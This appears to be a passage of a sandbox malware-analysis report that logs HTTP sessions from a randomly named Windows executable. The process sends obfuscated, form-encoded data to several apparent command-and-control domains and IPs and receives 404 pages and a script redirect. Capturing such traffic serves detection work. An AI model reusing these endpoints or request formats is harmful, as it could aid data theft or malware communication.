Nov 7, 2024 10:50:30.815200090 CET	535	OUT	GET /fu91/?mFptYb=HVzlbrdNsUKwRMyAkWW6+eYcwGansP/WUf8DIHIYxdtxD6ajZVqGQ6r7bYdvsg7HhzGwO4nUubyDeivvZ5uUZnZTjM5UwBrFB6CCixihWT7Na0ffLjed1FEIbDhA&Vta=nFypuDtholF HTTP/1.1 Host: www.college-help.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 7, 2024 10:50:31.693883896 CET	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 07 Nov 2024 09:50:31 GMT Server: Apache Last-Modified: Wed, 06 Nov 2024 18:10:13 GMT ETag: "49d-626426de29b28" Accept-Ranges: bytes Content-Length: 1181 Content-Type: text/html Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 2e 73 70 65 61 63 68 62 75 62 62 6c 65 20 7b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 32 35 30 70 78 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 35 70 78 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 62 6c 61 63 6b 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 20 62 6f 74 74 6f 6d 2c 20 20 72 67 62 61 28 31 33 35 2c 31 33 35 2c 31 33 35 2c 31 29 20 30 25 2c 72 67 62 61 [TRUNCATED] Data Ascii: <!DOCTYPE html><html><head> <title>404 Error</title></head><body style="background:white;"> <style type="text/css"> .speachbubble { position: relative; width: 250px; height: 105px; padding: 0px; background: black; background: linear-gradient(to bottom, rgba(135,135,135,1) 0%,rgba(0,0,0,1) 100%); border-radius: 8px; margin:auto; margin-top:100px;}.speachbubble:after { content: ""; position: absolute; bottom: -18px; left: 102px; border-style: solid; border-width: 18px 21px 0; border-color: black transparent; display: block; width: 0; z-index: 1;}.speachbubble span { display:block; margin:auto; text-align:center; font:72px arial; color:white; padding-top:10px; text-shadow: 4px 4px 2px rgba(0, 0, 0, .3);}.message { font:24px arial; color:black; text-align:center; margin-top:40px; text-shadow: 2
Nov 7, 2024 10:50:31.693917990 CET	185	IN	Data Raw: 70 78 20 32 70 78 20 32 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 2e 32 29 3b 0d 0a 7d 0d 0a 3c 2f 73 74 79 6c 65 3e 20 0d 0a 0d 0a 0d 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 65 61 63 68 62 75 62 62 6c 65 22 3e 3c 73 70 61 6e 3e 34 Data Ascii: px 2px 2px rgba(0, 0, 0, .2);}</style> <div class="speachbubble"><span>404</span></div><div class="message">Error: 404 - File Not Found</div> </body></html>
Nov 7, 2024 10:50:31.694031000 CET	185	IN	Data Raw: 70 78 20 32 70 78 20 32 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 2e 32 29 3b 0d 0a 7d 0d 0a 3c 2f 73 74 79 6c 65 3e 20 0d 0a 0d 0a 0d 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 65 61 63 68 62 75 62 62 6c 65 22 3e 3c 73 70 61 6e 3e 34 Data Ascii: px 2px 2px rgba(0, 0, 0, .2);}</style> <div class="speachbubble"><span>404</span></div><div class="message">Error: 404 - File Not Found</div> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49167	15.197.148.33	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:50:36.732366085 CET	2472	OUT	POST /usv6/ HTTP/1.1 Host: www.binacamasala.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.binacamasala.com Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 2163 Referer: http://www.binacamasala.com/usv6/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 65 69 72 75 41 33 31 33 64 63 77 47 31 59 48 55 41 6e 2b 36 78 62 6d 4e 47 34 35 36 6f 7a 76 55 4a 78 74 78 76 66 72 50 66 69 63 59 49 58 6e 43 32 68 41 78 31 4d 37 38 76 48 37 44 41 65 79 2f 57 43 78 6f 37 44 72 36 6d 36 6d 79 4e 48 46 36 78 74 68 77 77 37 63 2f 30 58 70 54 6f 53 32 48 72 67 4f 72 52 61 45 62 78 67 49 4f 32 6e 4a 75 39 38 53 56 2b 56 4b 66 67 53 66 2b 6c 2f 55 67 52 30 41 2b 73 74 75 56 66 4b 76 66 6f 45 4c 61 52 4d 36 6d 65 2f 66 73 33 2b 41 4b 61 69 4a 59 46 53 6b 70 66 48 79 42 74 30 4e 58 37 4f 4a 74 68 4b 36 47 38 4d 6f 7a 6b 6b 54 6e 33 59 76 42 45 36 62 46 57 54 77 54 62 34 2f 65 44 30 5a 52 65 4f 43 7a 71 77 30 46 2f 4f 31 5a 72 45 31 65 34 6e 4a 6d 5a 79 53 4e 43 4e 33 4b 4a 38 51 77 61 4a 6c 48 39 73 50 48 77 39 73 6e 63 7a 32 74 62 57 4b 62 2f 72 75 39 4f 75 51 67 59 6b 59 35 69 75 46 51 68 5a 72 66 66 6e 51 44 58 6a 4e 57 6d 42 64 2b 47 45 50 42 6e 58 6e 63 67 53 76 4c 32 4f 45 33 35 58 79 73 51 71 61 66 65 6f 36 56 73 69 56 4a 53 66 33 55 31 67 45 [TRUNCATED] Data Ascii: mFptYb=eiruA313dcwG1YHUAn+6xbmNG456ozvUJxtxvfrPficYIXnC2hAx1M78vH7DAey/WCxo7Dr6m6myNHF6xthww7c/0XpToS2HrgOrRaEbxgIO2nJu98SV+VKfgSf+l/UgR0A+stuVfKvfoELaRM6me/fs3+AKaiJYFSkpfHyBt0NX7OJthK6G8MozkkTn3YvBE6bFWTwTb4/eD0ZReOCzqw0F/O1ZrE1e4nJmZySNCN3KJ8QwaJlH9sPHw9sncz2tbWKb/ru9OuQgYkY5iuFQhZrffnQDXjNWmBd+GEPBnXncgSvL2OE35XysQqafeo6VsiVJSf3U1gEdtDBI5xx7BLsVH+o2rUOZYdGl248NggDgL6bj7JNghpbADt0jcdHoVLb1Azo+S0DLClZDy/UtNQH2/zyf0bKXt6BqQhVqJlptTyPc4RXUfP1GvCSldsEOW9t/TAWxI23SXhQjfzO2iHExAlrXXOJG947H/h8CFqqlBsGQxhyZIL08QP8OKArhGKMRdZnWvfTRBEUwBb8d16Hmb1R3sk/tSRTpJyx3nKF3idrcg/QbbT73GwjE4nGIegZr7KLkoRR2mWtw8LP4xwgkUntJpls62SMZefmWOgEGnwXlaOFPGlflZCRpByHCcEKPZiYf9OjY/MTHNBqwKEf/eDdN6WeL7N2M3nwtfdf878O9W72H4tnW6iE1FzS3BqSAEGd2iX56REdbyf7rEUmx5jx8XHpzfWDPT0k5OR/c3+nGurv6saQbufk1V0NLYJG+UQVhply+3Eq9SJue5txcvEQ1A9Moz20x0pr0WGMn+pukHsUqB2ajfSg9g01qBT/6VDozBai0YZCoeDpt53NlS8nO+RcJzB0soD+AchgDDMGLOpf5G7mpPcJsGnLhup8BKuhQUonJsOxM+3ySzbLNMjELaNvl4FcXzvtAwMgWpjMj1zgHymvE8CeoG2uh47fNPFmmmHqHX6H4cy7G2pty5WbNWvtbgx1S8WBCOZmFP [TRUNCATED]
Nov 7, 2024 10:50:36.737348080 CET	291	OUT	Data Raw: 46 77 75 31 4d 61 35 47 32 41 42 45 49 41 36 6e 30 70 7a 74 7a 70 53 51 31 53 36 49 43 58 35 63 46 44 2b 35 6b 44 76 57 61 2f 69 49 50 59 79 6c 38 6d 35 36 4b 6e 4c 52 50 31 61 4d 57 53 30 43 6e 61 45 68 44 61 72 4b 54 4e 57 57 4d 77 32 42 6e 75 Data Ascii: Fwu1Ma5G2ABEIA6n0pztzpSQ1S6ICX5cFD+5kDvWa/iIPYyl8m56KnLRP1aMWS0CnaEhDarKTNWWMw2Bnu5Fx2/6k9efwzrjsCGMIr/6M7+jUUImJ6NZs82N862BDWdlakKECtXfHQmuE51bQ3TP42/JbthyxUVMMHMgluogkyJPfSuOIt61/PB8pF4JLtsVo0G68HudPnoFSjJBvp4dz0yYozbDV4+07TPvIywOcVY57TnJGhD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.22	49168	15.197.148.33	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:50:39.275105000 CET	802	OUT	POST /usv6/ HTTP/1.1 Host: www.binacamasala.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.binacamasala.com Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Referer: http://www.binacamasala.com/usv6/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 65 69 72 75 41 33 31 33 64 63 77 47 31 5a 48 55 42 32 2b 36 78 37 6d 4e 42 34 35 36 69 54 76 53 4a 78 78 35 76 65 75 58 66 77 38 59 4a 46 2f 43 32 54 6f 78 30 4d 37 2f 67 6e 37 48 4f 2b 79 71 57 43 78 53 37 47 44 36 6d 37 47 79 4f 68 42 36 33 73 68 7a 74 37 63 39 37 33 70 6f 6f 53 71 6b 72 67 43 37 52 62 73 62 78 6a 63 4f 33 6b 68 75 34 65 4b 56 75 56 4b 5a 6f 79 65 34 6c 2f 4a 6f 52 30 51 6d 73 74 36 56 66 2f 48 66 6f 56 72 61 56 66 43 6d 58 66 66 74 39 65 42 64 56 44 6f 4e 4c 6b 30 2f 62 68 79 38 72 51 59 7a 33 5a 39 44 67 61 72 4b 36 73 6b 49 69 42 65 52 7a 4c 4b 57 48 41 3d 3d Data Ascii: mFptYb=eiruA313dcwG1ZHUB2+6x7mNB456iTvSJxx5veuXfw8YJF/C2Tox0M7/gn7HO+yqWCxS7GD6m7GyOhB63shzt7c973pooSqkrgC7RbsbxjcO3khu4eKVuVKZoye4l/JoR0Qmst6Vf/HfoVraVfCmXfft9eBdVDoNLk0/bhy8rQYz3Z9DgarK6skIiBeRzLKWHA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.22	49169	15.197.148.33	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:50:41.817393064 CET	2472	OUT	POST /usv6/ HTTP/1.1 Host: www.binacamasala.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.binacamasala.com Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 3627 Referer: http://www.binacamasala.com/usv6/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 65 69 72 75 41 33 31 33 64 63 77 47 30 34 33 55 4e 78 43 36 67 62 6d 4d 45 34 35 36 6f 7a 76 57 4a 78 74 35 76 66 72 50 66 6d 4d 59 49 57 48 43 32 78 41 78 76 4d 37 2f 6d 6e 37 44 41 65 79 34 57 43 6c 34 37 44 6e 4d 6d 2f 69 79 4e 47 46 36 78 75 5a 77 6d 72 63 2f 73 6e 70 72 6f 53 71 78 72 67 53 2f 52 62 59 68 78 6a 45 4f 33 52 4e 75 39 75 4b 55 77 46 4b 5a 6f 79 65 38 6c 2f 4a 55 52 30 49 49 73 70 76 4b 66 4b 44 66 6f 30 4c 61 47 73 36 6c 63 2f 66 70 68 4f 41 51 61 69 46 6c 46 53 6b 74 66 48 4f 76 74 30 4a 58 36 62 46 74 68 4a 53 48 34 63 6f 30 71 45 54 6e 7a 59 76 44 45 36 62 5a 57 54 77 54 62 34 44 65 43 6b 5a 52 65 4b 57 77 31 67 30 46 68 65 31 75 6c 6b 4a 73 34 6e 74 45 5a 7a 69 37 43 36 76 4b 49 35 38 77 4e 4a 6c 48 78 4d 50 4a 77 39 73 36 57 54 32 78 62 58 6a 75 2f 6f 47 54 4f 75 51 67 59 6e 51 35 75 64 74 51 6a 4a 72 66 51 48 51 43 4d 54 4e 56 6d 42 70 63 47 46 4c 42 6e 57 76 63 67 6c 4c 4c 77 4d 73 6f 79 48 79 74 48 36 61 5a 50 34 36 41 73 68 68 76 53 66 2b 63 31 6a 73 [TRUNCATED] Data Ascii: mFptYb=eiruA313dcwG043UNxC6gbmME456ozvWJxt5vfrPfmMYIWHC2xAxvM7/mn7DAey4WCl47DnMm/iyNGF6xuZwmrc/snproSqxrgS/RbYhxjEO3RNu9uKUwFKZoye8l/JUR0IIspvKfKDfo0LaGs6lc/fphOAQaiFlFSktfHOvt0JX6bFthJSH4co0qETnzYvDE6bZWTwTb4DeCkZReKWw1g0Fhe1ulkJs4ntEZzi7C6vKI58wNJlHxMPJw9s6WT2xbXju/oGTOuQgYnQ5udtQjJrfQHQCMTNVmBpcGFLBnWvcglLLwMsoyHytH6aZP46AshhvSf+c1jsdtBZI+Qx7A7saTuoyvUCvYc+H2447giHgKrbjqKlj9JbGTd0pYdGZVLWUAzI+Sl7LQ2BD1MMqPgH97zzH67LQt6lyQglcIQVtQiPc5zPbX/157STmEcElW9tzTEDEIH/SXhgjYgm2iHE+HlrReu14942O/hhZFoClA82QxjaZLb08dv8FfQrrGKwBdYOrsu3RCnMwDZUdiKHkd1R0ok/KSRDpJ2pnnLt3sYLcgdobdT6wHwjX4nGuegc/7KbSoT12mXtw+KP4uQg5H3tF4VsJ2SUJefa4Oh8GmUjlXfFPHFfrGyRpLSGCcEyfZnpq9LXY89DHKhqzDkeNFDdC+WeV7NmM3n8tfdH87NO9dpeHntnuiCEjQDOXBu3zEHJciSp6RQJb1dTqKEmzpTx2AXpLfWDDTwpyPgfcuOHGoP79u6RT0vkmIkM0YJ2HURg+p2W+3Ea9SbGe6dxcvEQyA9M0z2IP0oaRWGMnssakHaAqJWacWygck010BTrcVCAJBZW0KYioeDpu0nNqGMnJ+RAQzB1NoCCAfU4DFaSLOL35BbmpKcJvPHLgup9EKqQXUpnJt+RMySmRxrLIAzEZUtjE4FZIzs9Ax+kWowUj1DgH/mvL2if8IWTw47CWPB62m26HWLX4HxTFvptzmGbLWvg7gxNa8W43OYyFW [TRUNCATED]
Nov 7, 2024 10:50:41.822474957 CET	1755	OUT	Data Raw: 45 38 75 31 49 57 35 49 33 41 42 45 6f 41 31 76 55 6f 76 74 7a 70 49 51 31 36 59 49 44 71 38 63 47 62 2b 2f 48 4c 76 61 4a 58 69 46 66 59 4b 6c 38 6d 6a 6c 36 72 49 52 50 30 68 4d 58 6d 30 43 6e 71 45 68 45 4f 72 4b 44 4e 56 50 63 77 33 4e 48 75 Data Ascii: E8u1IW5I3ABEoA1vUovtzpIQ16YIDq8cGb+/HLvaJXiFfYKl8mjl6rIRP0hMXm0CnqEhEOrKDNVPcw3NHuiQB3+6k9sfweEjvOGNbT/5+D+jkUOop6ePb0gN8G6BGzi5/wKHRZXayMm4U50HA3eP4yHJaAwy0xyL9LMhVuo2iuKF/SoZ4s61/Oc8pN8JO9CVqUG65Tuc/nnSyiCMPovd08PYo75DVo+0+rPuoCwJcVYxbTmX2gH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.22	49170	15.197.148.33	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:50:44.360196114 CET	534	OUT	GET /usv6/?mFptYb=TgDODAIJaOl5jtT4JVTY+PvwOqFRmlbaFilQ+MjMe2d3S0GP4FMVqMWCvgzOI+CNdjxuqTDbs8bnZHFVmt5Iw+xv7nFgog653DC3dJxayAsmz1wZ3Pvz+hOxoHiw&Vta=nFypuDtholF HTTP/1.1 Host: www.binacamasala.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 7, 2024 10:50:44.980684996 CET	402	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 07 Nov 2024 09:50:44 GMT Content-Type: text/html Content-Length: 262 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 6d 46 70 74 59 62 3d 54 67 44 4f 44 41 49 4a 61 4f 6c 35 6a 74 54 34 4a 56 54 59 2b 50 76 77 4f 71 46 52 6d 6c 62 61 46 69 6c 51 2b 4d 6a 4d 65 32 64 33 53 30 47 50 34 46 4d 56 71 4d 57 43 76 67 7a 4f 49 2b 43 4e 64 6a 78 75 71 54 44 62 73 38 62 6e 5a 48 46 56 6d 74 35 49 77 2b 78 76 37 6e 46 67 6f 67 36 35 33 44 43 33 64 4a 78 61 79 41 73 6d 7a 31 77 5a 33 50 76 7a 2b 68 4f 78 6f 48 69 77 26 56 74 61 3d 6e 46 79 70 75 44 74 68 6f 6c 46 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?mFptYb=TgDODAIJaOl5jtT4JVTY+PvwOqFRmlbaFilQ+MjMe2d3S0GP4FMVqMWCvgzOI+CNdjxuqTDbs8bnZHFVmt5Iw+xv7nFgog653DC3dJxayAsmz1wZ3Pvz+hOxoHiw&Vta=nFypuDtholF"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.22	49171	194.58.112.174	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:50:50.041954994 CET	2472	OUT	POST /xprp/ HTTP/1.1 Host: www.marketplacer.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.marketplacer.top Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 2163 Referer: http://www.marketplacer.top/xprp/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 59 76 34 72 5a 41 4e 58 7a 58 79 69 39 6f 7a 45 55 36 4f 49 4b 7a 57 30 41 41 6c 47 4f 68 73 77 61 6c 52 31 56 5a 38 6f 4b 35 44 52 67 65 4d 54 55 72 6d 33 71 43 51 6e 45 75 4f 42 75 4a 74 67 4f 43 61 72 77 49 67 31 78 61 4b 64 71 63 73 45 66 44 30 6f 6e 49 58 39 56 44 65 4c 44 39 38 45 59 45 73 31 73 61 6b 2b 76 39 68 30 70 6e 59 52 76 72 54 32 4f 64 68 58 44 66 47 4a 4a 41 45 6b 42 4c 4e 78 49 39 52 65 41 78 70 77 71 45 34 32 2f 6f 43 75 65 34 32 2f 6e 79 51 2f 52 73 38 4f 63 47 43 6b 79 39 6a 66 71 66 31 64 6d 42 45 74 68 64 49 44 42 35 61 64 31 6a 65 38 6e 50 39 34 35 6f 51 70 68 43 4c 79 7a 6d 6d 4e 53 31 33 7a 57 6e 31 32 63 6c 6f 36 6c 2b 62 6e 76 48 4e 31 61 6e 72 35 72 66 75 35 77 2b 4f 75 35 38 56 6a 4a 74 51 34 2f 56 46 36 2b 6a 33 59 5a 6a 38 61 66 7a 48 36 72 4c 67 52 68 30 56 37 6f 2b 68 64 67 32 4d 49 6b 6f 6d 36 71 38 6c 31 51 4c 68 70 49 67 30 4e 56 67 6e 35 38 34 6a 4e 74 53 58 6a 77 53 75 31 73 38 65 47 45 30 56 53 71 34 4c 52 44 31 76 43 57 6d 39 75 7a 64 62 [TRUNCATED] Data Ascii: mFptYb=Yv4rZANXzXyi9ozEU6OIKzW0AAlGOhswalR1VZ8oK5DRgeMTUrm3qCQnEuOBuJtgOCarwIg1xaKdqcsEfD0onIX9VDeLD98EYEs1sak+v9h0pnYRvrT2OdhXDfGJJAEkBLNxI9ReAxpwqE42/oCue42/nyQ/Rs8OcGCky9jfqf1dmBEthdIDB5ad1je8nP945oQphCLyzmmNS13zWn12clo6l+bnvHN1anr5rfu5w+Ou58VjJtQ4/VF6+j3YZj8afzH6rLgRh0V7o+hdg2MIkom6q8l1QLhpIg0NVgn584jNtSXjwSu1s8eGE0VSq4LRD1vCWm9uzdbY2lELV26IP9KlC9Khwf0ZZOuWbddoPvtnxh4DKkaPRkD39fEZoSk5PTyy9Ep7FJbITuT7L7uWNi+JpeCSzNviLGl8L5gZOmqVuN6MaV3JPw14y14c7r2YA6vaqi5/qmgB7+NACHo6qhq3IHi9hdK/EydCgdbbSesV6lixRXXkqHvU7Ptti6IWT1BBCN/ZGnOvcmOnrmDJx/tbaRrhdvz9hqr5yCWYQoDVvOqQycrLVTH0BvGQ0pQR9RJcr4jIR+/A+T7tngU6HaLU8jvK3LIDgqcz3O4kn88g3BDdaSOgJBwMg9Y2GRbO02bBxTofOSuX3XwjoXi7a0H7IMvUIRj68y43gRHFlMMyFP4bSqfB5gLqh9320VdnnO6PB1RoPlklE9ePO0UcMCQsUOy0TTgCzM+xYfKyyRig9iYIM/EXNylIOSQD5oqZwlI4bWcXt6YsR/vity0SVkX45Kwg0hre4KQ3e2PI0HpTeGUB5jkZQB+b1L9RnnEs1qDw1QV9cXnUTvhVsPXXW3MhjANz7dMjEAT/XSDp2hRFp0UER+aSnZvc5khdi0t5VIDeKpK6m9FobfzK3L8mCwGjogE4Uirfy1BBwkQoTwovZkbzUj2jq7s+IKTDM/6KccEHXXB7KaqNo7j1FzBNt04ns4CXO5RgAnpcxk4DbGuvu [TRUNCATED]
Nov 7, 2024 10:50:50.049612045 CET	291	OUT	Data Raw: 71 65 6d 78 78 4f 75 51 47 52 49 61 76 73 6d 34 39 30 35 6f 6d 4c 75 73 65 65 68 39 70 39 6c 33 59 75 35 66 76 64 32 4a 61 35 73 51 76 5a 4e 7a 45 73 71 70 64 6a 34 4b 51 64 30 5a 32 57 56 70 58 70 4c 4e 6c 63 70 70 76 73 75 4e 5a 79 30 4c 54 43 Data Ascii: qemxxOuQGRIavsm4905omLuseeh9p9l3Yu5fvd2Ja5sQvZNzEsqpdj4KQd0Z2WVpXpLNlcppvsuNZy0LTCQScWLXjNI2LI4W0Lvcgu2XDcXh6LTJLqxSHhT069N1XD92Uiii5WK/r7hyXJXrl9CCfJfAANeyS/tlmjU2zIsU+kIX4nYv5bZneDvQZzfXVjjmBevoFsJWY6kqnAZWvJqaPVN4tG8NluwRj5SEiBGhUJK/2vdxTHB
Nov 7, 2024 10:50:50.922560930 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 07 Nov 2024 09:50:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 64 31 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6b 6f 1b c7 15 fd ee 5f 31 66 01 91 b4 b9 bb 51 52 04 b6 45 52 79 38 fd 94 47 01 39 2d 0a 45 21 86 cb 11 b9 e6 72 97 dd 1d 4a a6 6d 01 89 9d 34 09 62 c4 68 1a a0 40 d0 a2 2f 14 fd 54 40 7e a8 51 fc 50 fe c2 f2 1f f5 dc 3b bb cb 25 45 ca 8f 38 45 05 48 22 67 67 ee dc b9 f7 dc 73 ef cc 6c fd 74 27 74 f5 78 a8 44 4f 0f fc 66 9d fe 0a d7 97 71 dc 28 79 71 4b 76 e4 50 7b 3b aa 24 7c 19 74 1b a5 68 54 42 1f 25 3b cd fa 40 69 29 dc 9e 8c 62 a5 1b a5 f7 2f fd c2 3a 87 67 dc 1a c8 81 6a 94 86 32 ea 7b 41 b7 24 dc 30 d0 2a 40 a7 48 75 a3 91 15 41 e6 6c cf 1d 4f ed 0e c3 48 17 ba ee 7a 1d dd 6b 74 d4 8e e7 2a 8b bf d4 bc c0 d3 9e f4 ad d8 95 be 6a ac 42 84 f6 b4 af 9a bb bb bb f6 00 73 29 3d f4 a5 ab 22 5b 87 c3 ba 63 9e d5 7d 2f e8 8b 48 f9 8d 52 ac c7 be 8a 7b 4a 61 9a 81 ea 78 b2 51 92 be 5f 12 bd 48 6d e7 ca b2 72 96 1c e9 d0 76 e3 18 53 4c c7 7b 58 46 d6 7b 5b 42 af 30 b0 f1 67 7d b5 24 c8 7e 30 d7 40 76 95 73 c5 e2 8e cd 7a ec 46 de 50 37 9d 33 f5 d3 9b [TRUNCATED] Data Ascii: d1cZko_1fQRERy8G9-E!rJm4bh@/T@~QP;%E8EH"ggslt'txDOfq(yqKvP{;$\|thTB%;@i)b/:gj2{A$0@HuAlOHzktjBs)="[c}/HR{JaxQ_HmrvSL{XF{[B0g}$~0@vszFP73o^\|gS^wmIeG4(pSBRa"\|tomkr\_EQ=X8r x%HoY/GZAEc;mk_Ekh6Sm^jHLb,j&oQr<w#\|N>C%w}z\|w%h:m"fXi=/8F`]P%8ZT<KAj#P4=hrf:tUFBS8[N^kk=uV:?iuj9XL%[mvA1B}UoG+}p3&.[v{uChi>~pjZ@~iv8 b(;rGmB/vr'E"5i(rU#S5I!$z)p3utrjYAB9 \|\JzPAY'/4;@L>M&Mn~e(ab8$&n"tR\,}oCQMRA [TRUNCATED]
Nov 7, 2024 10:50:50.922580004 CET	1236	IN	Data Raw: a0 d3 8f f4 7d 3a eb d4 fd 05 82 f5 2d d4 55 5d 2f 68 f9 6a 5b 5b 26 b6 31 a1 8e c2 a0 fb 64 a7 80 8d 01 77 97 92 d9 3f 81 5e 64 2e 98 f7 71 72 0f 38 63 09 33 3c 3b 1f bc c6 38 f1 a8 6d 5c 9e 6b d2 0e c1 78 03 e4 ca 40 41 ee 9f 91 01 ef 4f 7e 8f Data Ascii: }:-U]/hj[[&1dw?^d.qr8c3<;8m\kx@AO~y<2^zgI\w@)9s@JQL7]]<d%f8> `pr`Ln-Y`.O1`e!U@/rbaa6v=r{Vt<nX1-
